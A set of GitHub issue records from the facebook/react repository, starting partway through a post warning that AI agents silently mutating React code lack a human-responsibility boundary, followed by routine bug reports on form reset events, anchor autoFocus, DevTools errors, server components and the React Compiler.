6. Observe:
The “agent” script silently mutates src/App.js.
React dev tooling happily starts and serves the mutated app.
From React’s point of view, nothing is “wrong”: this is just valid JSX.
From a responsibility / security point of view, there is no boundary between:
human intent (original app),
automation intent (agent script / AI agent),
and runtime behavior (what the user actually sees and what side-effects happen).
This is exactly what real AI agents are doing now, but with far more complex mutations and CI/CD integration.
Link to code example
The minimal reproduction is fully described above.
It requires only:
a standard React app (e.g. create-react-app),
the agent.js script,
and the extra agent:start npm script.
No extra dependencies beyond React tooling itself.
The current behavior
React’s current ecosystem makes (reasonable, historic) assumptions:
The actor running npm start / npm run build / npm test is a responsible human.
The code in src/ is authored and semantically understood by humans.
Tooling only needs to care about:
syntax correctness,
bundling,
performance,
and basic runtime warnings.
In an AI-agent world, those assumptions are now false:
An AI agent (or any automation script) can:
mutate React source files,
run React CLI scripts,
and ship a build,
without any human understanding the semantic intent of the changes.
React tooling will happily:
compile,
serve,
and potentially ship these mutations with zero semantic / responsibility checks.
In other words:
> “Automation systems with no responsibility chain
are now first-class users of the React toolchain.”
Yet the toolchain still treats them as if they were human developers with full semantic awareness and ethical responsibility.
This is not a theoretical concern:
AI agents controlling browsers, terminals, Docker, and CI pipelines already exist.
They can be given permissions to “fix tests” or “optimize tracking”, and will happily:
add new components,
inject logging / tracking / exfiltration code,
or change config and environment usage,
all inside React projects.
Today, React has no concept of a “semantic responsibility boundary” between:
prompt / high-level intent,
automated mutations to the codebase,
and what finally ships to end-users.
Everything is “just JavaScript” and “just JSX”, so it passes through silently.
The expected behavior
I don’t think React core can or should become a security platform.
But I do believe the ecosystem needs to explicitly acknowledge and address this new class of risk:
1. Make the assumption visible.
Document clearly that React tooling assumes a human, semantically responsible developer is in the loop.
Right now this assumption is invisible but critical.
2. Expose hooks / APIs / patterns so platforms can enforce responsibility.
For example (conceptual suggestions, not final API):
A way for higher-level tools to tag builds with:
“human-reviewed” vs “AI-mutated”,
provenance metadata,
or policy enforcement hooks.
Warnings when source files are mass-mutated by automation scripts between runs, without a human “checkpoint”.
3. Encourage / document patterns for AI-assisted coding that keep humans in the semantic loop.
Examples:
Recommended workflows for AI-generated components where every mutation must go through:
tests,
diff review,
and explicit approval,
rather than silent fs.writeFileSync → npm start.
4. At minimum, treat “AI agents as first-class actors” in risk thinking.
Today the model is still: “developer → code → React → user”.
The real model in 2026 is more often:
“prompt → AI agent → repo mutation → React → user”.
The middle step is completely unmodeled.
Without some kind of “semantic responsibility boundary” concept, React will remain a perfect substrate for:
AI-driven internal supply-chain incidents,
unreviewed tracking / data exfiltration,
and “it compiled so it must be fine” style failures.
I am not asking the React team to solve all of this alone.
I am asking to treat this as a real bug in the ecosystem’s mental model:
> The assumption that “the caller is a responsible human” is no longer valid.
React is at the center of a huge part of the modern web.
If we continue to ship tools that implicitly trust any automation that can run npm start, then:
what collapses next will not just be a few companies,
but the minimum standard of trust for web applications built with React.
---
Who I am / why I care
I work on a conceptual layer I call a Semantic Firewall:
trying to weld language, reality, and responsibility back onto the same chain.
I’m not asking React to adopt my framework.
I’m asking React maintainers and Meta engineers:
Do you agree this “AI agent as first-class toolchain user” breaks your current threat model?
If yes, how do you want the wider ecosystem to participate in fixing it?
If no, how do you propose developers defend their React apps when the “developer” is often an automated agent?
If there is interest, I’m happy to collaborate on a concrete proposal or prototype.
—
Shen-Yao 888π / Hsu Wen-Yao
Founder, Semantic Firewall
Taichung, Taiwan
Email: ken0963521@gmail.com | closed | completed | HIJO790401 | 2026-01-29T03:28:25 | 2026-02-02T20:51:25 | 2026-02-02T18:35:43 | [
"Status: Unconfirmed"
] | null | 0 | {} | 2 | false | 2026-03-29T04:53:11.373321 | ||
facebook | react | 35,682 | I_kwDOAJy2Ks7n-Lc9 | false | Bug: | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
React version:
## Steps To Reproduce
1.
2.
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example:
<!--
Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
## The current behavior
## The expected behavior | closed | not_planned | nzdq29hjjf-sudo | 2026-02-03T15:29:00 | 2026-02-03T16:01:06 | 2026-02-03T16:01:06 | [
"Status: Unconfirmed"
] | null | 0 | {} | 0 | false | 2026-03-29T04:53:11.444669 | ||
facebook | react | 33,630 | I_kwDOAJy2Ks69HWbz | false | Bug: onReset is not called during automatic form reset | React version: 19.1
When a form with an `action` is submitted, the form automatically resets. However, the form's `onReset` event is not triggered. The native `'reset'` event is triggered though. Ideally either both would fire or not fire, not sure which is the more correct behavior.
I think this is because the reset occurs during the commit phase, during which all react event listeners are paused. https://github.com/facebook/react/blob/94cf60bede7cd6685e07a4374d1e3aa90445130b/packages/react-dom-bindings/src/client/ReactFiberConfigDOM.js#L413
Btw, another issue with triggering reset during commit is that it happens before effects have run, which means if components do handle reset events (natively), any effects that need the new `defaultValue` won't have run yet. You can work around this with `useInsertionEffect` but it's not obvious necessarily.
## Steps To Reproduce
1. Open https://stackblitz.com/edit/vitejs-vite-hjwn8je5?file=src%2FApp.tsx and open dev tools.
2. Fill out the form and press the submit button.
3. See that only the native 'reset' event is fired. The onReset prop is not called.
4. When pressing the reset button, both native event and prop are called.
## The current behavior
When automatic form reset happens, only the native 'reset' event is emitted.
## The expected behavior
The onReset event should be called, or the native event should _not_ be emitted. Either way, they should match their behavior.
## Context
I'm working on fixing an issue in React Aria (https://github.com/adobe/react-spectrum/issues/6830), which currently relies on native 'reset' events to clear validation errors when a form is reset by the user. However, with the automatic form reset after submit (and after the next render), validation errors that come back from the server after submitting are being cleared due to the reset.
Ideally there would be a way to distinguish between resets performed by a user and resets that react performs as part of a form submission. That way we could clear the validation errors when manually resetting a form, but preserve the new errors that are returned by an action.
Either way, I don't want to rely on the current behavior of `onReset` not being called during a submission if it is actually a bug. | closed | completed | devongovett | 2025-06-24T17:52:56 | 2026-02-02T20:17:15 | 2026-02-02T20:17:15 | [
"Status: Unconfirmed"
] | null | 0 | {
"+1": 5
} | 4 | false | 2026-03-29T04:53:11.503953 | ||
facebook | react | 35,656 | I_kwDOAJy2Ks7mleXy | false | Bug: Anchor tags do not support autoFocus | Hi team!
React currently doesn't support the `autoFocus` prop for anchor tags. This issue has been raised before, however it was automatically marked as `Stale` and closed: https://github.com/facebook/react/issues/26603
My opinion matches that of the above ticket author: `autofocus` is a [global attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/autofocus) and should work for anchor tags just like it does for buttons, text inputs, etc. It sounds like this was discussed several years ago (https://github.com/facebook/react/issues/11851#issuecomment-351672131), however browser support for the `autoFocus` attribute has greatly matured since 2017. I'm not sure modern browsers even need the current polyfill behaviour?
React version: 18.2.0 (Same behaviour in `main`)
## Steps To Reproduce
1. Add an `a` tag with a `href` value and `autoFocus`.
2. Observe as the anchor tag is not autofocused on page load.
Link to code example: https://codesandbox.io/p/sandbox/strange-ritchie-wc94dy
<!--
Please provide a `[Sandbox](https://codesandbox.io/p/sandbox/strange-ritchie-wc94dy)[Sandbox],` a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
## The current behavior
Anchor tags do not receive focus on page load if the `autoFocus` prop/attribute is used.
## The expected behavior
Anchor tags do receive focus on page load if the `autoFocus` prop/attribute is used.
## Dev Notes
The problem stems from the following switch cases where only the `button`, `input`, `select` and `textarea` inputs are supported:
- https://github.com/facebook/react/blob/main/packages/react-dom-bindings/src/client/ReactFiberConfigDOM.js#L660
- https://github.com/facebook/react/blob/main/packages/react-dom-bindings/src/client/ReactFiberConfigDOM.js#L858
We are currently using a patch to bring this functionality to our codebase:
```diff
diff --git a/node_modules/react-dom/cjs/react-dom.development.js b/node_modules/react-dom/cjs/react-dom.development.js
index e4ed5ae..530c59f 100644
--- a/node_modules/react-dom/cjs/react-dom.development.js
+++ b/node_modules/react-dom/cjs/react-dom.development.js
@@ -10954,6 +10954,7 @@ function finalizeInitialChildren(domElement, type, props, rootContainerInstance,
case 'input':
case 'select':
case 'textarea':
+ case 'a':
return !!props.autoFocus;
case 'img':
@@ -11026,6 +11027,7 @@ function commitMount(domElement, type, newProps, internalInstanceHandle) {
case 'input':
case 'select':
case 'textarea':
+ case 'a':
if (newProps.autoFocus) {
domElement.focus();
}
diff --git a/node_modules/react-dom/cjs/react-dom.production.min.js b/node_modules/react-dom/cjs/react-dom.production.min.js
index 7bbc786..a929cd3 100644
--- a/node_modules/react-dom/cjs/react-dom.production.min.js
+++ b/node_modules/react-dom/cjs/react-dom.production.min.js
@@ -229,7 +229,7 @@ h,a),e=["children",""+h]):ea.hasOwnProperty(g)&&null!=h&&"onScroll"===g&&D("scro
"string"===typeof d.is?a=g.createElement(c,{is:d.is}):(a=g.createElement(c),"select"===c&&(g=a,d.multiple?g.multiple=!0:d.size&&(g.size=d.size))):a=g.createElementNS(a,c);a[Of]=b;a[Pf]=d;Aj(a,b,!1,!1);b.stateNode=a;a:{g=vb(c,d);switch(c){case "dialog":D("cancel",a);D("close",a);e=d;break;case "iframe":case "object":case "embed":D("load",a);e=d;break;case "video":case "audio":for(e=0;e<lf.length;e++)D(lf[e],a);e=d;break;case "source":D("error",a);e=d;break;case "img":case "image":case "link":D("error",
a);D("load",a);e=d;break;case "details":D("toggle",a);e=d;break;case "input":Za(a,d);e=Ya(a,d);D("invalid",a);break;case "option":e=d;break;case "select":a._wrapperState={wasMultiple:!!d.multiple};e=A({},d,{value:void 0});D("invalid",a);break;case "textarea":hb(a,d);e=gb(a,d);D("invalid",a);break;default:e=d}ub(c,e);h=e;for(f in h)if(h.hasOwnProperty(f)){var k=h[f];"style"===f?sb(a,k):"dangerouslySetInnerHTML"===f?(k=k?k.__html:void 0,null!=k&&nb(a,k)):"children"===f?"string"===typeof k?("textarea"!==
c||""!==k)&&ob(a,k):"number"===typeof k&&ob(a,""+k):"suppressContentEditableWarning"!==f&&"suppressHydrationWarning"!==f&&"autoFocus"!==f&&(ea.hasOwnProperty(f)?null!=k&&"onScroll"===f&&D("scroll",a):null!=k&&ta(a,f,k,g))}switch(c){case "input":Va(a);db(a,d,!1);break;case "textarea":Va(a);jb(a);break;case "option":null!=d.value&&a.setAttribute("value",""+Sa(d.value));break;case "select":a.multiple=!!d.multiple;f=d.value;null!=f?fb(a,!!d.multiple,f,!1):null!=d.defaultValue&&fb(a,!!d.multiple,d.defaultValue,
-!0);break;default:"function"===typeof e.onClick&&(a.onclick=Bf)}switch(c){case "button":case "input":case "select":case "textarea":d=!!d.autoFocus;break a;case "img":d=!0;break a;default:d=!1}}d&&(b.flags|=4)}null!==b.ref&&(b.flags|=512,b.flags|=2097152)}S(b);return null;case 6:if(a&&null!=b.stateNode)Dj(a,b,a.memoizedProps,d);else{if("string"!==typeof d&&null===b.stateNode)throw Error(p(166));c=Hh(Gh.current);Hh(Eh.current);if(Gg(b)){d=b.stateNode;c=b.memoizedProps;d[Of]=b;if(f=d.nodeValue!==c)if(a=
+!0);break;default:"function"===typeof e.onClick&&(a.onclick=Bf)}switch(c){case "button":case "input":case "select":case "textarea":case "a":d=!!d.autoFocus;break a;case "img":d=!0;break a;default:d=!1}}d&&(b.flags|=4)}null!==b.ref&&(b.flags|=512,b.flags|=2097152)}S(b);return null;case 6:if(a&&null!=b.stateNode)Dj(a,b,a.memoizedProps,d);else{if("string"!==typeof d&&null===b.stateNode)throw Error(p(166));c=Hh(Gh.current);Hh(Eh.current);if(Gg(b)){d=b.stateNode;c=b.memoizedProps;d[Of]=b;if(f=d.nodeValue!==c)if(a=
xg,null!==a)switch(a.tag){case 3:Af(d.nodeValue,c,0!==(a.mode&1));break;case 5:!0!==a.memoizedProps.suppressHydrationWarning&&Af(d.nodeValue,c,0!==(a.mode&1))}f&&(b.flags|=4)}else d=(9===c.nodeType?c:c.ownerDocument).createTextNode(d),d[Of]=b,b.stateNode=d}S(b);return null;case 13:E(M);d=b.memoizedState;if(null===a||null!==a.memoizedState&&null!==a.memoizedState.dehydrated){if(I&&null!==yg&&0!==(b.mode&1)&&0===(b.flags&128))Hg(),Ig(),b.flags|=98560,f=!1;else if(f=Gg(b),null!==d&&null!==d.dehydrated){if(null===
a){if(!f)throw Error(p(318));f=b.memoizedState;f=null!==f?f.dehydrated:null;if(!f)throw Error(p(317));f[Of]=b}else Ig(),0===(b.flags&128)&&(b.memoizedState=null),b.flags|=4;S(b);f=!1}else null!==zg&&(Gj(zg),zg=null),f=!0;if(!f)return b.flags&65536?b:null}if(0!==(b.flags&128))return b.lanes=c,b;d=null!==d;d!==(null!==a&&null!==a.memoizedState)&&d&&(b.child.flags|=8192,0!==(b.mode&1)&&(null===a||0!==(M.current&1)?0===T&&(T=3):uj()));null!==b.updateQueue&&(b.flags|=4);S(b);return null;case 4:return Jh(),
Bj(a,b),null===a&&sf(b.stateNode.containerInfo),S(b),null;case 10:return Rg(b.type._context),S(b),null;case 17:return Zf(b.type)&&$f(),S(b),null;case 19:E(M);f=b.memoizedState;if(null===f)return S(b),null;d=0!==(b.flags&128);g=f.rendering;if(null===g)if(d)Ej(f,!1);else{if(0!==T||null!==a&&0!==(a.flags&128))for(a=b.child;null!==a;){g=Mh(a);if(null!==g){b.flags|=128;Ej(f,!1);d=g.updateQueue;null!==d&&(b.updateQueue=d,b.flags|=4);b.subtreeFlags=0;d=c;for(c=b.child;null!==c;)f=c,a=d,f.flags&=14680066,
@@ -259,7 +259,7 @@ rb("display",g))}catch(t){W(a,a.return,t)}}}else if(6===q.tag){if(null===m)try{q
a),fk(a)}}function fk(a){var b=a.flags;if(b&2){try{a:{for(var c=a.return;null!==c;){if(Uj(c)){var d=c;break a}c=c.return}throw Error(p(160));}switch(d.tag){case 5:var e=d.stateNode;d.flags&32&&(ob(e,""),d.flags&=-33);var f=Vj(a);Xj(a,f,e);break;case 3:case 4:var g=d.stateNode.containerInfo,h=Vj(a);Wj(a,h,g);break;default:throw Error(p(161));}}catch(k){W(a,a.return,k)}a.flags&=-3}b&4096&&(a.flags&=-4097)}function ik(a,b,c){V=a;jk(a,b,c)}
function jk(a,b,c){for(var d=0!==(a.mode&1);null!==V;){var e=V,f=e.child;if(22===e.tag&&d){var g=null!==e.memoizedState||Kj;if(!g){var h=e.alternate,k=null!==h&&null!==h.memoizedState||U;h=Kj;var l=U;Kj=g;if((U=k)&&!l)for(V=e;null!==V;)g=V,k=g.child,22===g.tag&&null!==g.memoizedState?kk(e):null!==k?(k.return=g,V=k):kk(e);for(;null!==f;)V=f,jk(f,b,c),f=f.sibling;V=e;Kj=h;U=l}lk(a,b,c)}else 0!==(e.subtreeFlags&8772)&&null!==f?(f.return=e,V=f):lk(a,b,c)}}
function lk(a){for(;null!==V;){var b=V;if(0!==(b.flags&8772)){var c=b.alternate;try{if(0!==(b.flags&8772))switch(b.tag){case 0:case 11:case 15:U||Rj(5,b);break;case 1:var d=b.stateNode;if(b.flags&4&&!U)if(null===c)d.componentDidMount();else{var e=b.elementType===b.type?c.memoizedProps:Lg(b.type,c.memoizedProps);d.componentDidUpdate(e,c.memoizedState,d.__reactInternalSnapshotBeforeUpdate)}var f=b.updateQueue;null!==f&&ih(b,f,d);break;case 3:var g=b.updateQueue;if(null!==g){c=null;if(null!==b.child)switch(b.child.tag){case 5:c=
-b.child.stateNode;break;case 1:c=b.child.stateNode}ih(b,g,c)}break;case 5:var h=b.stateNode;if(null===c&&b.flags&4){c=h;var k=b.memoizedProps;switch(b.type){case "button":case "input":case "select":case "textarea":k.autoFocus&&c.focus();break;case "img":k.src&&(c.src=k.src)}}break;case 6:break;case 4:break;case 12:break;case 13:if(null===b.memoizedState){var l=b.alternate;if(null!==l){var m=l.memoizedState;if(null!==m){var q=m.dehydrated;null!==q&&bd(q)}}}break;case 19:case 17:case 21:case 22:case 23:case 25:break;
+b.child.stateNode;break;case 1:c=b.child.stateNode}ih(b,g,c)}break;case 5:var h=b.stateNode;if(null===c&&b.flags&4){c=h;var k=b.memoizedProps;switch(b.type){case "button":case "input":case "select":case "textarea":case "a":k.autoFocus&&c.focus();break;case "img":k.src&&(c.src=k.src)}}break;case 6:break;case 4:break;case 12:break;case 13:if(null===b.memoizedState){var l=b.alternate;if(null!==l){var m=l.memoizedState;if(null!==m){var q=m.dehydrated;null!==q&&bd(q)}}}break;case 19:case 17:case 21:case 22:case 23:case 25:break;
default:throw Error(p(163));}U||b.flags&512&&Sj(b)}catch(r){W(b,b.return,r)}}if(b===a){V=null;break}c=b.sibling;if(null!==c){c.return=b.return;V=c;break}V=b.return}}function hk(a){for(;null!==V;){var b=V;if(b===a){V=null;break}var c=b.sibling;if(null!==c){c.return=b.return;V=c;break}V=b.return}}
function kk(a){for(;null!==V;){var b=V;try{switch(b.tag){case 0:case 11:case 15:var c=b.return;try{Rj(4,b)}catch(k){W(b,c,k)}break;case 1:var d=b.stateNode;if("function"===typeof d.componentDidMount){var e=b.return;try{d.componentDidMount()}catch(k){W(b,e,k)}}var f=b.return;try{Sj(b)}catch(k){W(b,f,k)}break;case 5:var g=b.return;try{Sj(b)}catch(k){W(b,g,k)}}}catch(k){W(b,b.return,k)}if(b===a){V=null;break}var h=b.sibling;if(null!==h){h.return=b.return;V=h;break}V=b.return}}
var mk=Math.ceil,nk=ua.ReactCurrentDispatcher,ok=ua.ReactCurrentOwner,pk=ua.ReactCurrentBatchConfig,K=0,R=null,Y=null,Z=0,gj=0,fj=Uf(0),T=0,qk=null,hh=0,rk=0,sk=0,tk=null,uk=null,gk=0,Hj=Infinity,vk=null,Pi=!1,Qi=null,Si=null,wk=!1,xk=null,yk=0,zk=0,Ak=null,Bk=-1,Ck=0;function L(){return 0!==(K&6)?B():-1!==Bk?Bk:Bk=B()}
```
| open | 0099FF | 2026-01-29T03:29:03 | 2026-02-03T03:25:03 | null | [
"Status: Unconfirmed"
] | null | 0 | {} | 4 | false | 2026-03-29T04:53:11.625491 | |||
facebook | react | 31,463 | I_kwDOAJy2Ks6dpg0K | false | [DevTools Bug] getCommitTree(): Invalid commit "7" for root "1". There are only "7" commits. | ### Website or app
private
### Repro steps
profile re-renders click on individual re-renders. Clicked on the last re-render and it crashed instead of displaying info.
### How often does this bug happen?
Only once
### DevTools package (automated)
react-devtools-extensions
### DevTools version (automated)
6.0.0-d66fa02a30
### Error message (automated)
getCommitTree(): Invalid commit "7" for root "1". There are only "7" commits.
### Error call stack (automated)
```text
ve/<@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:1159236
CommitFlamegraphAutoSizer@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:1404914
renderWithHooks@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:52244
updateFunctionComponent@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:81718
beginWork@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:95937
performUnitOfWork@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:154622
workLoopSync@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:154498
renderRootSync@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:154249
performWorkOnRoot@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:149824
performSyncWorkOnRoot@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:164884
flushSyncWorkAcrossRoots_impl@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:163205
processRootScheduleInMicrotask@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:163662
1519/ensureRootIsScheduled/<@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:162805
```
### Error component stack (automated)
```text
CommitFlamegraphAutoSizer@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:1404715
div@unknown:0:0
div@unknown:0:0
div@unknown:0:0
SettingsModalContextController@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:1297733
wl<@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:1536567
fa@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:1315530
div@unknown:0:0
div@unknown:0:0
ThemeProvider@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:1318230
portaledContent/<@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:1318420
div@unknown:0:0
div@unknown:0:0
div@unknown:0:0
ThemeProvider@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:1318230
TimelineContextController@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:1395885
ProfilerContextController@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:1387636
TreeContextController@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:1209953
SettingsContextController@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:1238133
ModalDialogContextController@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:1375334
DevTools_DevTools@moz-extension://beb769c0-41a5-4f80-ba39-12fab791919f/build/main.js:1:1544294
```
### GitHub query string (automated)
```text
https://api.github.com/search/issues?q=getCommitTree(): Invalid commit for root . There are only commits. in:title is:issue is:open is:public label:"Component: Developer Tools" repo:facebook/react
```
| closed | completed | acolchagoff | 2024-11-08T18:59:44 | 2026-02-03T12:44:07 | 2026-02-03T12:44:07 | [
"Type: Bug",
"Status: Unconfirmed",
"Component: Developer Tools"
] | null | 0 | {
"heart": 2
} | 1 | false | 2026-03-29T04:53:11.667029 | ||
facebook | react | 32,251 | I_kwDOAJy2Ks6n4AlI | false | [React 19] aria attributes on custom elements behave maybe incorrectly | ## Summary
In [React 18](https://codesandbox.io/p/sandbox/gracious-flower-dwt3cd), passing `aria-disabled={true}` to a custom element serialized that value as "true". That seemed good and as far as I can tell worked as expected.
In [React 19](https://codesandbox.io/p/sandbox/intelligent-dawn-mv9p62), that same code adds the `aria-disabled` attribute, but doesn't set it to anything. That doesn't work as well. It appears to me (although I'm not certain) that it breaks accessibility for these custom elements. It definitely breaks `@testing-library/jest-dom`'s `toBeChecked` matcher with `aria-checked` (https://github.com/testing-library/jest-dom/blob/918b6fbcde10d4409ee8f05c6e4eecbe96a72b7a/src/to-be-checked.js#L31).
For these aria attributes that require strings instead of booleans to function properly, is this an intended change? | open | epmatsw | 2025-01-28T18:50:34 | 2026-02-04T01:36:35 | null | [
"React 19"
] | null | 0 | {
"+1": 6
} | 9 | false | 2026-03-29T04:53:11.709870 | |||
facebook | react | 32,392 | I_kwDOAJy2Ks6qM1MR | false | [React 19] Bug: `cloneElement` in client component with async server component as children not working | React version: 19
## Steps To Reproduce
1. Clone the reproduction
2. `npm i`
3. `npm run dev`
4. Open http://localhost:3000/ and observe error
Link to code example: https://github.com/darthmaim-reproductions/vercel-next.js-72034
## The current behavior
When using `cloneElement` in a client component, and the children is an async server component, this error is thrown:
> Error: Element type is invalid: expected a string (for built-in components) or a class/function (for composite components) but got: undefined. You likely forgot to export your component from the file it's defined in, or you might have mixed up default and named imports.
> Check the render method of `ClientComponent`.
When the server component is not `async` (or a client component), this just works.
Additionally, adding this line to the client component also makes this work:
```ts
if(children.$$typeof === Symbol.for('react.lazy')) { children = use(children._payload); }
```
## The expected behavior
Since `cloneElement` works for client components and non-async server components, I expected this to work with async server components as well.
## Additional context
With react 18 the children was reported as `<Lazy/>` in react-dev-tools and `cloneElement` was working, now it is shown as `{ $$typeof: Symbol(react.lazy) }` (when not using cloneElement to avoid the error).
I initially reported this is in the Next.js repo (https://github.com/vercel/next.js/issues/72034), but I keep running into this bug and suspect its a react bug and not related to Next.js. | closed | not_planned | darthmaim | 2025-02-15T13:58:14 | 2026-02-03T10:15:30 | 2026-02-03T10:15:30 | [
"Resolution: Stale",
"React 19"
] | null | 0 | {
"+1": 6
} | 10 | false | 2026-03-29T04:53:11.814350 | ||
facebook | react | 35,340 | I_kwDOAJy2Ks7dTEm- | false | Bug: Server Components error when directly rendering a Context | A Server Component that renders `<Context>` directly will result in a runtime error:
> Element type is invalid. Received a promise that resolves to: Context. Lazy element type must resolve to a class or function.
[Here's the minimum repro](https://github.com/samselikoff/2025-12-09-render-context-from-rsc):
```tsx
import { Context } from './context';
export default function Home() {
return <Context value={2}>hello</Context>;
}
```
```tsx
// context.tsx
'use client';
import { createContext } from 'react';
export const Context = createContext(1);
```
React version: 19.3.0-canary-378973b3-20251205
Link to code example:
https://github.com/samselikoff/2025-12-09-render-context-from-rsc
## The current behavior
Renders without error
## The expected behavior
Errors with
> Element type is invalid. Received a promise that resolves to: Context. Lazy element type must resolve to a class or function. | closed | completed | samselikoff | 2025-12-09T21:46:08 | 2026-02-03T15:23:04 | 2026-02-03T15:23:04 | [
"Status: Unconfirmed"
] | null | 0 | {} | 2 | false | 2026-03-29T04:53:11.920238 | ||
facebook | react | 35,561 | I_kwDOAJy2Ks7kTZHy | false | [Compiler Bug]: Value returned from `useEffectEvent` is mistakenly treated as a dependency | ### What kind of issue is this?
- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)
### Link to repro
https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAogGaUJx4A0JZVNd5AbggHYNMIDKeAIZ4EBAL4FKMCBgIByGAiF15AbgA6XTDnxECAFQQAPQpOmyFSlXgC0XEWk7qtWnbkLEAwrIBGaLgQAEwBxGCEsAAsARQAZchgZGDBGPABPLDEEpNi0AGsxcxk5eQABCIgAG0qIAHo4SrRuPBdtbA8CQLwASS5KCClihVLrOntHTls4WQwobXTaroD+1q10zIJs3AARESECAF4iLQICBETcZE2LmFyCzS5TpRo8OEirgAoASkOAPgIAArFNBkAA8czyXAgAHcuL8HuIHloTLpCNMuGBCKQEAA5BB4aG4PIAJWUbyEvkqFGotEIRw+cCE1V8Kjynx+B3+7AgaCCHP+wBOfBYtI+QtO3z+4tOnXxvX6ADohEEghxmrlMdxzh8PsQQb1RDAuqSVJEKVSJPzjo8Zba0JQCB99TxzsayWbKWIDt6CHgYFAED9BTbbbbGczWd8HqGZeJpadxF96NKANrhyosuB5AC6yZtXwRSMCxlRBHRmII0QDMDSW2SQIg7F550OjqtwdO5cIKfOSRSBDIeDrYGzrexghECFBdd2whT2d+H3nBdcNtqtQICq3q87EAxhDNXCCVLxBKJJvJnrHzBpbE4PB17el-Rgjq7+l7uEYz3xbwkBAgB1P2SIN4wIe1HQAQh8DB-ECUJwiiOJhwVEEPmAr5QJDUNuV5Agf1eSIozAuNsNIhMVxtbFT0JGASXdc1qVYPBHz+a1bUPY9cXxWj6NNRjiJtRMiyefFYEeUEjFMX4AAkEGqAZaMqIJQVqKS8HhLRES0EB6BAdFKDQABzFB0HaPR1jEYgAUqKAjICAB5LA8DQPcwH-CwShZXx5NsLBbPsrhbFGOxpmwNAqRgWoghBFoi11IV1zCrAIscPcAFkICCBArg0EAmUqPKtIHRwwEMhB3JsuzHOc1yMQLXTwEiGEDVdJkwBQSh2oQcQgA
### Repro steps
See the repro link above. Here I'm using an effect event function for its intended purpose, to prevent `useEffect` from re-registering the listener when a change to the `errors` object occurs.
According to the docs: https://react.dev/reference/react/useEffectEvent, effect events should not be added to dependency arrays. However, React Compiler treats the effect event function as a dependency and therefore breaks the intended logic.
Without React Compiler, this example would be written like this:
```ts
const handleNetworkReachable = useEffectEvent(() => {
for (const { error, refetch } of errors) {
if (!CombinedGraphQLErrors.is(error)) {
void refetch();
}
}
});
useNetworkReachableEffect(useCallback(() => {
handleNetworkReachable();
}, [])); // <- notice that `handleNetworkReachable` is not in the dependency list
```
### How often does this bug happen?
Every time
### What version of React are you using?
19.2.3
### What version of React Compiler are you using?
1.0.0 | closed | completed | SimpleCreations | 2026-01-19T15:49:12 | 2026-01-19T17:08:44 | 2026-01-19T17:08:44 | [
"Type: Bug",
"Status: Unconfirmed"
] | null | 0 | {} | 1 | false | 2026-03-29T04:52:07.985394 | ||
facebook | react | 35,421 | I_kwDOAJy2Ks7gcmVT | false | [DevTools Bug] Cannot reorder children for suspense node "333" because no matching node was found in the Store. | ### Website or app
http://localhost:3000/auth/default-prompt
### Repro steps
Start local project nextjs 15.2.8
F12 => Component tabs => error
### How often does this bug happen?
Sometimes
### DevTools package (automated)
react-devtools-extensions
### DevTools version (automated)
7.0.1-3cde211b0c
### Error message (automated)
Cannot reorder children for suspense node "333" because no matching node was found in the Store.
### Error call stack (automated)
```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:730986
at p.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:680330)
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:682241
at bridgeListener (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1189368)
```
### Error component stack (automated)
```text
```
### GitHub query string (automated)
```text
